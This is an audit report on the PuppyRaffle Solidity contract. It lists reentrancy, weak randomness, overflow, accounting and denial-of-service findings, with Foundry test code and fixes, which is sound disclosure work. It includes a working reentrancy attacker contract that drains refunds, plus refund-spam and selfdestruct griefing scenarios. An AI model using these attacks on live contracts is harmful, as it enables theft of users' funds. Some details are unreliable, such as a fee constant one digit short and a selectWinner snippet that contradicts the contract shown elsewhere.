Puppy Raffle Protocol Audit Report

Version 1.0

Cyfrin.io

April 15, 2026

Puppy Raffle Protocol Audit Report

vridhib

April 15, 2026

Prepared by: vridhib

Lead Security Researcher: vridhib

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
  - Executive Summary
  - Issues found
- Findings
- High
  - [H-1] Accounting Mismatch in `PuppyRaffle::selectWinner` Leads to Silent Fee Depletion and Permanent DoS (Unless the Protocol Uses `selfdestruct`)
  - [H-2] Reentrancy Attack in `PuppyRaffle::refund` Allows Attacker To Drain All Raffle Balance Funds
  - [H-3] Weak RNG in `PuppyRaffle::selectWinner` Allows Users to Influence Or Predict the Winner & Influence Or Predict the Winning Puppy NFT
  - [H-4] Integer Overflow of `PuppyRaffle::totalFees` Loses Fees

- Medium
  - [M-1] Duplicate Player Looping Check in `PuppyRaffle::enterRaffle` Is A Potential DoS Attack, Incrementing Gas Costs For Future Entrants
  - [M-2] Smart Contract Wallet Raffle Winners Without a `receive` or `fallback` Function Will Block the Start of a New Contest
  - [M-3] Balance Check on `PuppyRaffle::withdrawFees` Enables Griefers to `selfdestruct` a Contract to Send ETH to the Raffle, Blocking Withdrawals
  - [M-4] Unsafe Cast of `PuppyRaffle::fee` Loses Fees
- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` Returns 0 For Non-Existent Players & For Players At Index 0, Causing A Player At Index 0 Unneccessary Confusion About Their Raffle Participation
  - [L-2] Precision Loss in the `PuppyRaffle::selectWinner` Division Causes Undistributed Funds to Remain Stuck
  - [L-3] Winner Selection in `PuppyRaffle::selectWinner` May Result in Zero Address Winner, Causing Revert and Unfair Delays
- Informational
  - [I-1]: Unspecific Solidity Pragma
  - [I-2] Using An Outdated Version of Solidity Is Not Recommended
  - [I-3]: Address State Variable Set Without Checks
  - [I-4] `PuppyRaffle::selectWinner` Does Not Follow CEI, Which is Not a Best Practice
  - [I-5] Use of "Magic" Numbers is Discouraged for Better Readability and Maintainability
  - [I-6] State Changes Are Missing Events
  - [I-7] Zero Address May Be Erroneously Considered an Active Player
  - [I-8] Test Coverage
  - [I-9] `PuppyRaffle::_isActivePlayer` Is Never Used & Should Be Removed, Wasting Gas
- Gas
  - [G-1] Unchanged State Variables Should Be Declared Constant Or Immutable
  - [G-2] Storage Variables in a Loop Should Be Cached

Protocol Summary

PuppyRaffle is a raffle-based NFT distribution protocol where participants pay an entrance fee to enter a raffle for a chance to win a randomly generated puppy NFT. The raffle runs for a fixed duration, after

which a winner is selected pseudo-randomly from the pool of entrants. The winner receives a newly minted NFT with one of three rarity tiers (Common, Rare, Legendary) and 80% of the total entrance fees collected. The remaining 20% is retained as a protocol fee, withdrawable by the anyone to the specified fee address (configurable only by the owner). Participants may request a refund of their entrance fee at any time prior to winner selection.

Disclaimer

The auditor made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the auditor is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
./src/
 --PuppyRaffle.sol
```

Roles

- **Participants:** Player of the raffle, who has the ability to enter the raffle by paying the entrance fee with the `enterRaffle` function. They may receive a refund through the `refund` function.
- **Owner:** Deployer of the protocol, who has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Executive Summary

The PuppyRaffle smart contract was audited over a three-day period by one security researcher using a combination of manual review, static analysis (Slither), and fuzzing/invariant testing (Foundry). The audit focused on core raffle mechanics, fund accounting, access controls, and arithmetic operations as defined in the protocol summary.

Overall, the contract suffers from one critical business-logic flaw and several high-to-medium severity issues that make it unsuitable for production use without significant remediation. The critical finding reveals a fundamental accounting mismatch: refunded players remain in the `players` array as `address(0)`, causing the `selectWinner` function to calculate an inflated prize pool. This mismatch enables two distinct attack vectors: silent depletion of unclaimed protocol fees (high severity) and, under specific conditions, permanent denial-of-service where no winner can ever be selected (medium severity). Additionally, the contract contains a well-known integer overflow vulnerability in `totalFees` accumulation and a classic reentrancy attack vector in the `refund` function, both of which further compromise the protocol's financial integrity.

The findings are summarized as follows:

- **1 High-Severity** business-logic flaw (accounting mismatch leading to fee depletion and potential DoS)
- **1 High-Severity** integer overflow in fee accumulation
- **1 High-Severity** reentrancy vulnerability in the refund mechanism
- **1 High-Severity** weak randomness in the winner selection logic
- **4 Medium-Severity** issues (duplicate check looping increases gas costs, potential smart wallet blocking, mishandling of ETH, and unsafe casting)
- **3 Low-Severity** issues (precision loss, zero-address winner edge case, ambiguous 0 return)
- **9 Informational** issues (missing events, dead code, zero-address checking, pragma and version issues, coding best practices)

- **2 Gas** issues (unchanged variables should be immutable or constant, cache looping variables)

Due to the severity and number of findings, the contract should not be deployed in its current state. It is strongly recommended to redesign the player accounting system, apply the Checks-Effects-Interactions pattern to the `refund` function, upgrade the Solidity version or implement SafeMath, and introduce proper event emissions. A follow-up audit is strongly advised after implementing the recommended changes.

Issues found

Severity	Number of Issues Found
High	4
Medium	4
Low	3
Info	9
Gas	2
Total	22

Findings

High

[H-1] Accounting Mismatch in `PuppyRaffle::selectWinner` Leads to Silent Fee Depletion and Permanent DoS (Unless the Protocol Uses `selfdestruct`)

Description:

The `PuppyRaffle::selectWinner` function calculates the prize pool based on `players.length * entranceFee`. However, when a player is refunded via the `PuppyRaffle::refund` function, their ETH is returned but their entry remains in the `PuppyRaffle::players` array as `address(0)`. This inflates the computed `totalAmountCollected` relative to the actual ETH balance.

Impact:

If the inflated `prizePool` calculation exceeds the contract's entire ETH balance, the `call` will fail, reverting the transaction and permanently freezing the raffle. Once this state is reached, no winner can ever be selected—locking all remaining funds.

To exploit this attack vector, an attacker could enter the raffle with multiple addresses and then get a refund for each address. If the ratio of attack addresses to honest player addresses is sufficiently high, the erroneous prize pool calculation will cause the `call` to revert. As a result, an attacker can permanently freeze the raffle. Anytime a user calls `PuppyRaffle::selectWinner` it will revert because the `PuppyRaffle` contract has an insufficient ETH balance due to improper accounting of refunded players.

The protocol team could use `selfdestruct` to send ETH to this contract to refill the contract's balance and pay the winner—and thus unfreeze the raffle. However, this is clearly not the intended design of the protocol. If the protocol, has to continuously send ETH to the `PuppyRaffle` contract to mitigate the DoS attacks, the protocol will become unprofitable in the long run.

Additionally, even if the contract has sufficient balance to pay the winner (due to accumulated unwithdrawn fees), the excess payout consumes those fees, directly resulting in financial loss for the protocol. This is a critical issue that can result in fee depletion even from honest players who receive a refund. With honest players receiving a refund (about 1 or 2 refunds per raffle), this discrepancy will chip away at the protocol's fee gradually (until all the fees are depleted).

To summarize, this vulnerability manifests in two distinct ways, depending on the ratio of refunded (or malicious) players to honest players and whether protocol fees have been withdrawn. The table below captures the severity for these key findings:

Scenario	Condition	Outcome	Severity
Fee Reserve Depletion	Attacker refunds a moderate number of entries; protocol has not recently withdrawn fees.	Winner is paid partially from unclaimed fee reserves, silently reducing protocol revenue. This can occur even with honest refunds (e.g., 1–2 per raffle).	**High**

Scenario	Condition	Outcome	Severity
Permanent Denial of Service	Attacker refunds a large number of entries such that `prizePool > address(this).balance`.	`selectWinner` reverts indefinitely, locking all funds. This requires a higher capital investment from the attacker.	**Medium**

Note: The protocol could theoretically use `selfdestruct` to force-feed ETH to the contract, but this is neither intended nor sustainable.

Proof of Concept:

The DoS Attack Vector: 1. Two normal raffles complete, accumulating 2.8 ETH in fees. 2. A third raffle starts: 13 honest players and 10 attacker-controlled addresses enter. 3. The attacker refunds all 10 of their addresses (cost: 10 ETH returned, contract loses 10 ETH). 4. `PuppyRaffle::selectWinner` attempts to send 80% of (13+10) * 1 ETH = 18.4 ETH as prize pool. 5. The contract balance is only 15.8 ETH, resulting in the call reverting with "Failed to send prize pool".

The Fee Depletion Attack Vector: 1. Two normal raffles complete, accumulating 2.8 ETH in fees. 2. A third raffle starts: 13 honest players and 5 attacker-controlled addresses enter. 3. The attacker refunds all 5 of their addresses (cost: 5 ETH returned, contract loses 5 ETH). 4. `PuppyRaffle::selectWinner` attempts to send 80% of (13+5) * 1 ETH = 14.4 ETH as prize pool. 5. The contract balance is only 15.8 ETH, resulting in 1 of 2 outcomes (depending on whether the protocol has previously called `PuppyRaffle::withdrawFees`): 1. If fees were not withdrawn: The contract holds the full 15.8 ETH (including 2.8 ETH in fee reserves from previous raffles). The call succeeds, but the winner is paid partially from the fee reserve, reducing it from 2.8 ETH to 1.4 ETH. New protocol fees should have increased the contract's balance, but due to the improper accounting, it actually decreases the contract's balance. 2. If fees were withdrawn: The contract holds only 13 ETH (current raffle's entry fees). The call reverts because 14.4 > 13.0.

Proof of Code:

Place the following test into `PuppyRaffleTest.t.sol`.

Code

```
1     function testSelectWinnerLogicCanCauseDosOrFeeDepletion() public {
2         // Start and finish a first raffle (goes as expected)
3         uint256 raffle1PlayersNum = 4;
4         address[] memory raffle1Players = new address[](
              raffle1PlayersNum);
```

```
5           for (uint i = 0; i < raffle1PlayersNum; i++) {
6               raffle1Players[i] = makeAddr(string(abi.encodePacked("
                    player", vm.toString(i))));
7           }
8           puppyRaffle.enterRaffle{value: entranceFee * raffle1PlayersNum
                }(raffle1Players);
9           vm.warp(block.timestamp + duration + 1);
10          puppyRaffle.selectWinner();
11          console.log("Total fees after raffle 1:", puppyRaffle.totalFees
                ());
12          console.log("Contract balance after raffle 1:", address(
                puppyRaffle).balance);
13
14          // Start and finish a second raffle with more players (goes as
                expected)
15          uint256 raffle2PlayersNum = 10;
16          address[] memory raffle2Players = new address[](
                raffle2PlayersNum);
17          for (uint i = 0; i < raffle2PlayersNum; i++) {
18              raffle2Players[i] = makeAddr(string(abi.encodePacked("
                    player", vm.toString(i + raffle1PlayersNum))));
19          }
20          puppyRaffle.enterRaffle{value: entranceFee * raffle2PlayersNum
                }(raffle2Players);
21          vm.warp(block.timestamp + duration + 1);
22          puppyRaffle.selectWinner();
23          console.log("Total fees after raffle 2:", puppyRaffle.totalFees
                ()); // 0.8 + 2 = 2.8 ether
24          console.log("Contract balance after raffle 2:", address(
                puppyRaffle).balance); // 2.8 ether
25
26          // Start a third raffle with the other players + attacker (
                causes a DoS/fee depletion)
27          uint256 raffle3PlayersNum = 13;
28          address[] memory raffle3Players = new address[](
                raffle3PlayersNum);
29          for (uint i = 0; i < raffle3PlayersNum; i++) {
30              raffle3Players[i] = makeAddr(string(abi.encodePacked("
                    player", vm.toString(i + raffle1PlayersNum +
                    raffle2PlayersNum))));
31          }
32          puppyRaffle.enterRaffle{value: entranceFee * raffle3PlayersNum
                }(raffle3Players);
33
34          // Attacker joins with spam addresses
35          // Set to 10 for DoS demonstration, or 5 for fee depletion
                demonstration
36          uint256 raffle3AttackPlayersNum = 5;
37          address[] memory raffle3AttackPlayers = new address[](
                raffle3AttackPlayersNum);
38          for (uint i = 0; i < raffle3AttackPlayersNum; i++) {
```

```
39              raffle3AttackPlayers[i] = makeAddr(string(abi.encodePacked(
                    "attacker", vm.toString(i))));
40          }
41          puppyRaffle.enterRaffle{value: entranceFee *
                raffle3AttackPlayersNum}(raffle3AttackPlayers);
42          // Attacker gets a refund for all the raffle3AttackPlayers
                addresses
43          for (uint i = 0; i < raffle3AttackPlayersNum; i++) {
44              vm.prank(raffle3AttackPlayers[i]);
45              puppyRaffle.refund(i + raffle3PlayersNum);
46          }
47
48          // The third raffle picks a winner
49          vm.warp(block.timestamp + duration + 1);
50          if (raffle3AttackPlayersNum >= 10) {
51              vm.expectRevert(); // DoS
52              puppyRaffle.selectWinner();
53          } else {
54              puppyRaffle.selectWinner();
55              assertLt(address(puppyRaffle).balance, puppyRaffle.
                    totalFees()); // Fee depletion
56          }
57      }
```

Recommended Mitigation:

Maintain a separate counter `activePlayersCount` that is incremented on entry and decremented on refund, and use that for prize pool calculations.

This is a possible counter implementation:

```
1       uint256 public activePlayersCount;
2
3       function enterRaffle(...) public payable {
4           // ...
5           activePlayersCount += newPlayers.length;
6       }
7
8       function refund(uint256 playerIndex) public {
9           // ...
10          activePlayersCount--;
11          players[playerIndex] = address(0);
12      }
13
14      function selectWinner() external {
15          uint256 totalAmountCollected = activePlayersCount * entranceFee
                ;
16          // ...
17      }
```

[H-2] Reentrancy Attack in `PuppyRaffle::refund` Allows Attacker To Drain All Raffle Balance Funds

Description:

The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions), enabling participants to drain the contract balance. In this function, there is an external call to the `msg.sender` address. This external call precedes the `PuppyRaffle::players` array update.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  >       payable(msg.sender).sendValue(entranceFee);
7  >       players[playerIndex] = address(0);
8          emit RaffleRefunded(playerAddress);
9      }
```

A player who has entered the raffle could have a `fallback` or `receive` function that calls the `PuppyRaffle::refund` function repeatedly to keep claiming refunds until the contract's balance is drained.

Impact:

All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code:

Place the following code into `PuppyRaffleTest.t.sol`

Code

```
1  function testRefundReentrancy() public {
2      // Transfer funds into the PuppyRaffle contract
3      address[] memory players = new address[](4);
4      players[0] = playerOne;
5      players[1] = playerTwo;
```

```
6       players[2] = playerThree;
7       players[3] = playerFour;
8       puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
9
10      // Arrange the attack
11      RefundReentrancyAttacker attackerContract = new
            RefundReentrancyAttacker(puppyRaffle);
12      address attackUser = makeAddr("attackUser");
13      vm.deal(attackUser, entranceFee);
14
15      uint256 startingAttackContractBalance = address(attackerContract).
            balance;
16      uint256 startingPuppyRaffleContractBalance = address(puppyRaffle).
            balance;
17
18      // Execute the attack
19      vm.prank(attackUser);
20      attackerContract.attack{value: entranceFee}();
21
22      uint256 endingAttackContractBalance = address(attackerContract).
            balance;
23      uint256 endingPuppyRaffleContractBalance = address(puppyRaffle).
            balance;
24
25      // Assert the loss of funds due to reentrancy
26      console.log("Starting attack contract balance:",
            startingAttackContractBalance);
27      console.log("Starting puppy raffle contract balance:",
            startingPuppyRaffleContractBalance);
28
29      console.log("Ending attack contract balance:",
            endingAttackContractBalance);
30      console.log("Ending puppy raffle contract balance:",
            endingPuppyRaffleContractBalance);
31
32      assertLt(endingPuppyRaffleContractBalance,
            startingPuppyRaffleContractBalance);
33      assertGt(endingAttackContractBalance, startingAttackContractBalance
            );
34  }
```

And this contract as well.

```
1   contract RefundReentrancyAttacker {
2       PuppyRaffle puppyRaffle;
3       uint256 entranceFee;
4       uint256 attackerIndex;
5
6       constructor(PuppyRaffle _puppyRaffle) {
7           puppyRaffle = _puppyRaffle;
8           entranceFee = puppyRaffle.entranceFee();
```

```
9       }
10
11      function attack() external payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16          attackerIndex = puppyRaffle.getActivePlayerIndex(players[0]);
17          puppyRaffle.refund(attackerIndex);
18      }
19
20      receive() external payable {
21          if (address(puppyRaffle).balance >= entranceFee) {
22              puppyRaffle.refund(attackerIndex);
23          }
24      }
25  }
```

Recommended Mitigations:

To prevent this reentrancy attack, update the `PuppyRaffle::refund` function by reordering the external call to go after the `PuppyRaffle::players` array. Additionally, the event emission should be moved up.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   +       players[playerIndex] = address(0);
7   +       emit RaffleRefunded(playerAddress);
8
9           payable(msg.sender).sendValue(entranceFee);
10
11  -       players[playerIndex] = address(0);
12  -       emit RaffleRefunded(playerAddress);
13      }
```

[H-3] Weak RNG in `PuppyRaffle::selectWinner` Allows Users to Influence Or Predict the Winner & Influence Or Predict the Winning Puppy NFT

Description:

Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is a pseudo-random number that should not be used for

choosing a winner. Malicious users can manipulate or predict these values to choose the winner of the raffle themselves.

Note: This also means users could front-run this function and call `refund` if they see they are not the winner.

Impact:

Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy (the Shiba Inu NFT). This pseudo-randomness makes the entire raffle worthless if it becomes a gas war regarding who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when or how to participate. See the Solidity blog on prevrandao. The `block.difficulty` variable was recently replaced with `prevrandao`.
2. Users can mine or manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they do not like the winner or resulting NFT token.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation:

Consider using a cryptographically provable random number generater such as Chainlink VRF.

[H-4] Integer Overflow of `PuppyRaffle::totalFees` Loses Fees

Description:

In Solidity, versions prior to `0.8.0` integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max; // 18446744073709551615
2 myVar = myVar + 1; // 0
```

Impact:

In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. Start a raffle of 4 players
2. Then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
    totalFees = totalFees + uint64(fee); // 800000000000000000 +
        17800000000000000000
    totalFees = 153255926290448384       // This will overflow
```

4. The protocol will not be able to withdraw fees, due to the line in `PuppyRaffle::withdrawFees`:

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
```

The protocol team could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees. However, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
    function testTotalFeesOverflow() public playersEntered {
        // Start raffle 1: collect initial fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees(); // 0.8
            ether

        // Start raffle 2: cause overflow issues with 89 players
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // Select a winner for raffle 2
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();

        uint256 expectedEndingTotalFees = 1860000000000000000; // 0.8
            ether + 17.8 ether
        uint256 actualEndingTotalFees = puppyRaffle.totalFees();

        console.log("Expected ending total fees:",
            expectedEndingTotalFees);
```

```
24          console.log("Actual ending total fees:", actualEndingTotalFees)
                ;
25          assertLt(actualEndingTotalFees, startingTotalFees);
26
27          // `withdrawFees` also reverts because of the require check
28          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
29          puppyRaffle.withdrawFees();
30      }
```

The `console.log` output shows 153255926290448384 (approximately 0.15 ether) as the `actualTotalFees`. However, it should be 18.6 ether.

```
1       Actual ending total fees: 153255926290448384
2       Expected ending total fees: 1860000000000000000
```

Recommended Mitigation:

There are a few possible mitigations: 1. Use a newer version of Solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. Use the `SafeMath` library of OpenZeppelin for version `0.7.6` of Solidity. However, reverts would become an issue if too many fees are collected. 3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1       function withdrawFees() external {
2   -       require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

There are more attack vectors with that final require, so we recommend removing regardless.

Medium

[M-1] Duplicate Player Looping Check in `PuppyRaffle::enterRaffle` Is A Potential DoS Attack, Incrementing Gas Costs For Future Entrants

Description:

The `PuppyRaffle:enterRaffle` function iterates through the `players` array and performs a linear check for duplicates. As a result, as the size of `PuppyRaffle:players` increases, the function must conduct more checks for each additional player. This negatively impacts future raffle entrants by

dramatically increasing their gas costs (compared to early raffle entrants). Every additional address in the `PuppyRaffle:players` array is an additional check the loop will have to make.

```
    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
        }
    }
```

Impact:

The gas costs for raffle entrants will significantly increase as the player count increases. This can discourage future users from participating in the raffle and cause a flood of participants to rush to join the raffle in an effort to become an early entrant.

An attacker might create and enter tens or hundreds of accounts depending on their motivation (e.g., causing a DoS or becoming the winner) to heavily discourage other people from entering the raffle—and thus manipulate the odds in their favor.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503222 gas - 2nd 100 players: ~18995455 gas

This is almost 3 times more expensive for the second 100 players.

Proof of Code:

Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
    function test_enterRaffleDos() public {
        // Enter spam players: first 100 players
        uint256 spamPlayersNum = 100;
        address[] memory spamPlayers1 = new address[](spamPlayersNum);
        for (uint256 i = 0; i < spamPlayersNum; i++) {
            spamPlayers1[i] = address(i);
        }
        // Calculate gas costs
        uint256 gasStart100 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * spamPlayersNum}(
            spamPlayers1);
        uint256 gasEnd100 = gasleft();
        uint256 gasUsed100 = gasStart100 - gasEnd100;

        // Enter spam players: second 100 players
        address[] memory spamPlayers2 = new address[](spamPlayersNum);
        for (uint256 i = 0; i < spamPlayersNum; i++) {
```

```
17              spamPlayers2[i] = address(i + spamPlayersNum);
18          }
19          // Calculate gas costs
20          uint256 gasStart200 = gasleft();
21          puppyRaffle.enterRaffle{value: entranceFee * spamPlayersNum}(
                spamPlayers2);
22          uint256 gasEnd200 = gasleft();
23          uint256 gasUsed200 = gasStart200 - gasEnd200;
24
25          // Print results and assert
26          console.log("Gas cost for first 100 spam players", gasUsed100);
27          console.log("Gas cost for second 100 spam players", gasUsed200)
                ;
28          assertLt(gasUsed100, gasUsed200);
29      }
```

Recommended Mitigation:

There are a few recommendations: 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check does not prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check for duplicates. This would allow constant time lookup (instead of linear time) of whether a user has already entered. 3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

See a code example for the second recommendation:

```
1  +    mapping(address => mapping(uint256 => bool)) public
       hasPlayerEnteredRaffle;
2  +    uint256 public raffleId = 1;
3  .
4  .
5  .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8
9  +        // Only allow player in `newPlayers` if `hasPlayerEnteredRaffle
       ` == `false`
10 +        for (uint256 i = 0; i < newPlayers.length; i++) {
11 +            require(!hasPlayerEnteredRaffle[newPlayers[i]][raffleId], "
       PuppyRaffle: Duplicate player");
12 +            hasPlayerEnteredRaffle[newPlayers[i]][raffleId] = true;
13 +            players.push(newPlayers[i]);
14 +        }
15
16 -        for (uint256 i = 0; i < newPlayers.length; i++) {
17 -            players.push(newPlayers[i]);
18 -        }
19
20 -        // Check for duplicates
```

```
21 -       for (uint256 i = 0; i < players.length - 1; i++) {
22 -           for (uint256 j = i + 1; j < players.length; j++) {
23 -               require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
24 -           }
25 -       }
26         emit RaffleEnter(newPlayers);
27     }
28 .
29 .
30 .
31     function selectWinner() external {
32 +       raffleId = raffleId + 1;
33         require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
34         ...
35     }
```

[M-2] Smart Contract Wallet Raffle Winners Without a `receive` or `fallback` Function Will Block the Start of a New Contest

Description:

The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would be unable to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could increase costs due to the duplicate check and a lottery reset could become challenging.

Impact:

The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. There are 10 smart contract wallets that enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function would not work despite the lottery concluding.

Recommended Mitigation:

There are a few options to mitigate this issue. 1. Do not allow smart contract wallet entrants (not recommended). 2. Create a mapping of addresses to payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the responsibility on the winner to claim their prize (recommended).

[M-3] Balance Check on `PuppyRaffle::withdrawFees` Enables Griefers to `selfdestruct` a Contract to Send ETH to the Raffle, Blocking Withdrawals

Description:

The `PuppyRaffle::withdrawFees` function checks that the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract lacks a `payable` fallback or `receive` function, the contract would normally reject the payment, but a user could `selfdestruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1       function withdrawFees() external {
2   @>      require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

Impact:

This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in its balance, and 800 `totalFees`.
2. Malicious user sends 1 wei via a `selfdestruct`.
3. `feeAddress` is no longer able to withdraw funds.

Recommended Mitigation:

Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1       function withdrawFees() external {
2   -       require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

[M-4] Unsafe Cast of `PuppyRaffle::fee` Loses Fees

Description:

In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. As a result, if more than 18 ETH of fees are collected, the `fee` casting will truncate the value.

Impact:

This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected.
2. The line that casts the `fee` as a `uint64` hits.
3. `totalFees` is incorrectly updated with a lower amount.

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation:

Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

However, the potential gas savings are not worth dealing with this critical accounting logic issue.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` Returns 0 For Non-Existent Players & For Players At Index 0, Causing A Player At Index 0 Unneccessary Confusion About Their Raffle Participation

Description:

If a player is in the `PuppyRaffle:players` array at index 0, the `PuppyRaffle::getActivePlayerIndex` function will return 0. However, according to the function's NatSpec, it will also return 0 if the player is not in the array.

```
    /// @return the index of the player in the array, if they are not
        active, it returns 0
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact:

This logic error will cause the first raffle entrant (the player at index 0) to incorrectly think that they have not entered the raffle. As a result, they may attempt to join the raffle again, wasting gas in the process.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle:getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function's documentation

Recommended Mitigation:

The simplest recommendation is to revert if the player is not in the array instead of returning 0.

